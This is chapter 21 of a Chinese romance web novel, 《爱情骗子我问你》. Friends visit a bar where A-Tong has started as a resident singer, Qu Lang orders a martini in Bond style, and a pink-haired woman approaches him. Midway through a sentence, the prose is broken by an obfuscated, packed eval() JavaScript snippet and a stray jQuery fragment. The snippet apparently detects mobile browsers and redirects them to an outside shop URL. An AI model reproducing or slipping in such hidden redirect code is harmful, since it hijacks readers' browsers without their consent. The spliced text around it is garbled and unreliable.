21.第 21 章
作品:《爱情骗子我问你》 管悠经报仇雪恨后心情格外美丽,乐此不疲地在琼云家的所有生物面前嘲笑阿源,包括和她代沟大如马里亚纳海沟的琼云奶奶、院子里的花、阿桐的蜘蛛。
阿桐今晚就要正式开始她的驻唱生涯,因此她在琼云家吃过晚饭后就匆忙拎着蜘蛛回了家,更换着装,赶去酒吧做准备工作。
而老关因嫌弃管悠持续重复无聊的内容,在饭后也立即回了房间。
可以给予管悠不尴尬反馈的同代人越来越少,于是管悠逮着琼云和屈朗使劲薅,尽管这两人也各自有各自的事情要忙,琼云忙着刨木屑,屈朗忙着捣鼓照片和约拍排期。
屈朗是把笔记本电脑拿到楼下来捣鼓的,虽然在身边有一只叽叽喳喳的类人鸟的情况下并不适合工作,但他作为一个遵纪守法,从来没去过酒吧甚至连酒都没喝过(受长辈怂恿拿舌尖与白酒进行0距离接触的经历不算)的刚成年人类很期待等会儿和琼云一起去酒吧为阿桐捧场,以至于迫不及待提前进入到一个相对热闹的环境当中进行预热,并做好时刻动身的准备。
他今天已经找机会偷偷问过阿桐关于琼云昨晚反常状态背后的缘由,但阿桐无情拒绝了他。
“如果你觉得她不会愿意把原因告诉你,也不要来问我。”当时阿桐是这么回复他的。
他从阿桐的语气和神态中感觉到了阿桐似乎有一点讨厌他,据管悠分析,阿桐的这种“讨厌”情绪来源于一种类似有女儿的父母害怕自家白菜被猪拱了的心态,尤其在今天见识到了阿源的渣男行径之后,她对他这只猪的提防心只会更重。
于是屈朗决定今晚去酒吧花点小钱点两首歌提升一下自己在阿桐心目中的形象气质,至少让她下次准备在琼云面前挑拨离间的时候良心受到一些谴责。
三个小时之后,他也的确兑现了这个只有他自己知道的承诺。
“扫码。”阿桐站在光线昏黄的舞台上,向琼云屈朗管悠三人出示一张锃亮的二维码。
“你什么歌都能唱吗?”屈朗问。
阿桐皱眉,觉得他在质疑自己的水平,于是语气不善地回道:“曲库里有的都能唱。”
屈朗又问:“能点几首啊?”
阿桐答:“一首五十,两首一百,三首一百五,多点不打折。”
管悠嘿了一声,吐槽道:“怎么不能打折?你这老板真不会做生意。”
琼云道:“点歌的钱老板不抽成,全部给驻唱。”
管悠立刻改变了看法,笑呵呵地道:“这老板挺良心的。”
琼云说话大喘气:“但是底薪很低。”
管悠秒收笑容:“这老板真抠。”
“你们两个点了吗?”屈朗探头探脑瞅两人的手机屏幕,“你们先点。”
“懂事,长幼有序啊,姐姐我先点了,你俩慢慢挑。”管悠扒拉了两下小程序里的曲库,挑了首很经典的粤语歌。
然后琼云点了两首,一首中文的,一首英文的,凑个一百整,屈朗一看,这不行啊,胜负欲上来了,他得点三首。
于是这一晚,阿桐的收入至少多了三百块。
点完歌,管悠见吧台还有很多空位,于是拉两个新兵蛋子去吧台坐。
接待他们的调酒师是个方脸男人,看起来很面善,嗓音也很有磁性,管悠和他聊得十分融洽。
点酒的先后顺序也是按照年纪来,管悠要了杯螺丝刀还有两碟小零食,琼云不懂,让调酒师给她推荐,酒精度五十以下都行。
管悠和屈朗一听,纷纷战术后仰,琼云坐在两人中间,让整幅画面惊讶得很对称。
“你知道五十度的酒什么概念吗?”管悠扑回来,把胳膊搭在吧台上。
琼云摊手:“平时喝的苞谷水差不多就这个度数啊,有的比这个还高。”
屈朗崇拜得两眼放光。
管悠的脑袋再次后仰:“嚯,深藏不露啊。”
调酒师用很有磁性的鼻音哼笑了一声,向杯里的Vodka和冰块加入橙汁,然后拿长长的搅拌棒绕着冰块一边搅动一边道:“本地人,来杯尼格罗尼,纯酒,不加糖浆不加果汁,30度左右,口感层次很丰富,喝起来不像糖水,但入口有点苦,能接受吧?”
“好。”琼云点点头。
调酒师颔首,接着转向屈朗,“你呢?需要推荐吗?”
屈朗小幅度摇了摇头,松弛地将右肘搭在吧台上,像个经常出入酒吧的熟客,手腕抬起,打了个响指,食指自然伸出:“A martini.Shaken,not stirred.”
“你拽什么洋文?”管悠很鄙视他的装逼行为。
屈朗一秒破功,双手上下翻飞,身体左摇右晃:“007没看过?不帅吗?我酝酿很久了,不帅吗?”
管悠翻白眼。
于是一张大脸突现到琼云面前,激动地重复道:“不帅吗?”
琼云用一只手隔开两人的脸和视线,转到一旁,笑眯了眼睛。
她觉得挺帅的。
管悠能看到她的表情,但显然会错了意,指着她对屈朗说:“她在嘲笑你。”
“我觉得很帅啊。”没人夸,屈朗就自己夸自己,还重复了一边刚才的装逼行为。
琼云挨着脸把手放下,顺便把上扬的嘴角扯下去,翻开酒单本,指着上面各种马天尼向屈朗问道:“你要的是哪一种马天尼?好多马天尼。”
“Vodka.”
“Vo……”
调酒师抢答,显然他不是第一次见到屈朗这种爱装逼的人了。
“懂。”屈朗竖起大拇指。
调酒师将一块橙皮在杯口上方拧了一下,橙皮的油脂和清香像烟花般喷溅出来,随后拿起崭新的半片橙子卡在杯口,一杯螺丝刀就完成了,优雅地提起放到管悠跟前。
管悠接过螺丝刀,对屈朗劝道:“马天尼度数很高的,你能行吗?第一次喝酒就整这么高难度。”
屈朗不屑地道:“能有多高?有白酒高吗?”
“你喝过白酒?你刚才不是说你从来没喝过酒吗?”琼云质疑道。
“呃……”屈朗又露出痴呆的表情。
“不诚实。”管悠拍了一下琼云的肩,“这种男的,第一轮就pass掉。”
提起这个,屈朗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303297|196775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就来劲了:“你那个眼光能把自己坑死,就别指导别人了,误人子弟。”
管悠被戳到痛处,眼神一下凶狠起来:“你再说一遍。”语气却冷静得可怕。
“……”屈朗秒怂,“对不起。”
“哼嗤。”琼云莫名觉得好笑,转动椅子看向舞台,舞台的光线比刚才更亮,阿桐坐在高脚凳上,手里握着麦克风,眼睛望着谱架,音乐逐渐响起,第一首歌就是管悠点的《喜帖街》。
“好景不会每日常在,天梯不可只往上爬……忘掉爱过的他……忘掉有过的家……终须会时辰到,别怕,请放下手里那锁匙,好吗?”
管悠放下得很快,有帅哥来搭讪,她就抛下琼云和屈朗,跟人去卡座聊了。
琼云眼看三首歌都快唱完了,屈朗的Shaken,not stirred马天尼仍旧没有半点浅下去的迹象,不由得调侃道:“你要打包带走啊?”
屈朗有点尴尬地捡了片洋葱圈塞进嘴里,嚼了两下,皱皱巴巴地说:“苦的。”
琼云笑道:“那让调酒师给你倒点糖浆。”
“那——多没面子。”屈朗扭头对上一个粉发女生的视线。
这女生径直朝他走过来,到了跟前,屁股一扭坐到旁边的座位,放下手里喝掉半杯的酒,开口就问:“你有女朋友吗?”一边问还一边瞥了眼琼云。
“没有。”屈朗回答得很干脆。
“那你想不想要我的微信啊?”这女生对自己的外貌很有自信,不说她想要别人的联系方式,却问别人想不想要她的。
屈朗对这女生很好奇:“你是本地人吗?调酒师说来这里的基本上是本地人,来旅游的都去对街网红酒吧。”
“嗯。”粉发女生点点头,眼珠骨碌一转,“你是来旅游的,你要在这里玩多久?”
“整个暑假,开学之前我都在。”
“你还在上学?”
“你是本地人,那时间很充裕啊。”屈朗看起来十分兴奋,掏出手机就把二维码给亮出去了。
粉发女生扫了码,两人立刻加上好友。
屈朗给她看自己拍的照片,两人热聊起来。
“看起来很专业,你是学摄影的吗?”
“没有,我自己学的,你想拍吗?七月以后排期多,但最近挺空的。”
“你这算打暑假工?”
“算吧,其实我一开始只是想出来玩的,但我爸把我手机里的钱全转走了,一分都没给我留哈哈哈哈。”
“……”
屈朗自嘲地独乐了很久,粉发女生突然起身扭头就走。
屈朗望着那无情离去的背影,越笑越干巴,很快笑容就像血痂一样紧绷绷地凝结在脸上。
“我是不是太直接了,琼云?”屈朗扭头……人呢?
“琼云?琼云!”屈朗起身朝四周打量,最后发现琼云坐到了舞台旁边的散座上。
琼云有听到屈朗在叫她,却假装没听到,撑在下颌的手还刻意张开,用力捂住耳朵,她目前不想理他——在喜欢的女生面前,面对前来搭讪的其他异性,应该是这种态度吗?什么东西!?

